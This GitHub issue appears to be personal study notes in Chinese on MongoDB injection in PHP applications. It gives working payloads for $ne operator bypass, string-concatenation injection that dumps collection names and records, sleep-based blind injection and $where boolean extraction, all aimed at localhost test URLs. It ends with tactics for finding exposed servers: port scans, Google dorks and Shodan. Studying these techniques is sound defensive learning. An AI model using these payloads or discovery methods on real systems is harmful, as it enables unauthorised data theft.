Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

注入(三) #91

Open
PyxYuYu opened this issue Mar 12, 2017 · 0 comments
Open

注入(三) #91

PyxYuYu opened this issue Mar 12, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Mar 12, 2017

Wisdom outweighs any wealth.

0x01 SQL注入

  • MongoDB
    • PHP 下操作 MongoDB 有以下两种方式
      • mongo 类中相应的方法执行 增查减改 ,比如:
         <?php
         $mongo = new mongoclient();
         $db = $mongo->myinfo; //选择数据库
         $coll = $db->test; //选择集合
         $coll->save();    //增
         $coll->find();    //查
         $coll->remove();    //减
         $coll->update();    //改
      
      • 此时传递进入的参数是一个 数组
      • execute 方法执行字符串,比如:
         <?php
         $mongo = new mongoclient(); 
         $db = $mongo->myinfo; //选择数据库
         $query = "db.table.save({'newsid':1})";    //增
         $query = "db.table.find({'newsid':1})";    //查
         $query = "db.table.remove({'newsid':1})";    //减
         $query = "db.table.update({'newsid':1},{'newsid',2})";    改
         $result = $db->execute($query);
      
      • 此时传进方法 execute 的参数是字符串变量 $query,此时的字符串书写语法为 js 的书写语法
      • 对于以上两种不同执行方式,有不同的注入攻击方式
    • 注入攻击
      • 前提:用户 test 是攻击者已知的帐号密码
      • 数组绑定时的注入
        • 当传入的 URL
           http://127.0.0.1/2.php?username=test&password=test
        
        • 执行了语句
           db.test.find({username:'test', password:'test'});
        
        • 如果此时传入的 URL 如下
           http://127.0.0.1/2.php?username[xx]=test&password=test
        
        • $username 是一个数组,也就相当于执行了 php 语句
           $data = array(
           'username' => array('xx'=>'test'),
           'password' => 'test'
           );
        
        • MongoDB 对于多维数组的解析使最终执行了如下语句
           db.test.find({username:{'xx':'test'}, password:'test'});
        
        • 利用此特性,可以传入数据,使数组的键名为一个操作符(大于、小于、等于、不等于等等),完成一些攻击者预期的查询
        • 如,传入 URL
           http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test
        
        • 结果就会在页面显示出所有账户密码,因为传入的键名 $ne 正是一个 MongoDB 操作符,最终执行了语句
           db.test.find({username:{'$ne':'test'}, password:{'$ne':'test'}});
        
        • 这句话相当于 SQL
           select * from test where username!='test' and password!='test';
        
        • 直接遍历出所有集合中的数据,如果此时的用户名和密码不能回显,那么可以采用 $regex 操作符来一位一位获取数据
      • 拼接字符串时的注入
        • 注入方式
           http://127.0.0.1/1.php?username=test'&password=test
        
        • 如果上面报错的话,需要想办法闭合语句
           http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test
        
        • 该语句能返回一个数组,username1password2
        • 接下来猜解 MongoDB 中所有集合名
           http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2}//&password=test
        
        • 因为 db.getCollectionNames() 返回的是数组,需要用 tojson 转换成字符串,并且 MongoDB 区分大小写
        • 猜解 test 集合第一条数据
           http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2}//&password=test
        
        • 有时可能会遇到没有输出返回数据,在高版本下,可以添加一个函数 sleep(),即时间盲注
        • 在高版本下,不能用注释语句,还有一个新特性就是默认开启错误回显
           http://127.0.0.1/1.php?username=test'});if (db.version() > "0") {sleep(10000); exit;} var b=({a:'1&password=test
        
        • 成功延时10秒,错误回显
        • 另一种情况,在 MongoDB 中可以使用 $where 操作符,相当于 SQL 语句中的 where 限制语句,MongoDB 中的 $where 操作符常常引入一个 js 的函数作为限制条件,当 js 函数中的字符串存在未过滤的用户输入时,注入就产生了
          *注入方式
           http://127.0.0.1/3.php?news=test
        
        • 返回正常
           http://127.0.0.1/3.php?news=test'
        
        • 返回错误
           // %26=&
           http://127.0.0.1/3.php?news=test'%26%26'1'=='1
        
        • 返回正常
           http://127.0.0.1/3.php?news=test'%26%26'1'=='2
        
        • 返回错误
        • 说明存在注入,开始猜解数据
           http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length>0%26%26'1'=='1
        
        • 返回正常,集合数大于0,通过更换数字,可以猜解出集合数
        • 猜解集合名称
           http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0].length==6%26%26'1'=='1
        
        • 返回正常,第一个集合名称长度为6
           http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]>'a'%26%26'1'=='1
        
        • 返回正常,第一个集合名称第一个字符大于a
        • 逐个猜解,直到猜解出集合名称
        • 猜解集合中的第一条数据
           http://127.0.0.1/3.php?news=test'%26%26tojson(db.user.find()[0])[0]=='{'%26%26'1'=='1
        
        • 因为 db.user.find() 返回的不是一个字符串,无法取出字符进行比较,所以用 tojson 可以将它转化成一个json字符串,就可以比较了
        • 利用 Python 写个循环脚本即可实现自动化
    • 寻找 MongoDB 的方法
      • 使用工具,扫描 27017 端口,C段B段,看带宽和服务器资源
        • 工具有: NmapXScanNCWVS,一般 Nmap
      • 搜索引擎 Google
        • 关键字: intitle:mongodb inurl:28017
        • 关键字: intitle:mongodb inurl:28017 admin
        • 28017 端口是 MongoDB 的一个状态检测页面,有它在一般都会存在 27017 端口,上面会显示 外部链接IP,利用 IP反向域名解析 查询,找到链接的网站或应用,另一种方法就是查看数据库信息,或者同网段扫 80 端口,链接外部地址扫 80 端口
      • 利用 ZoomEyeShodan 网络空间搜索引擎
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant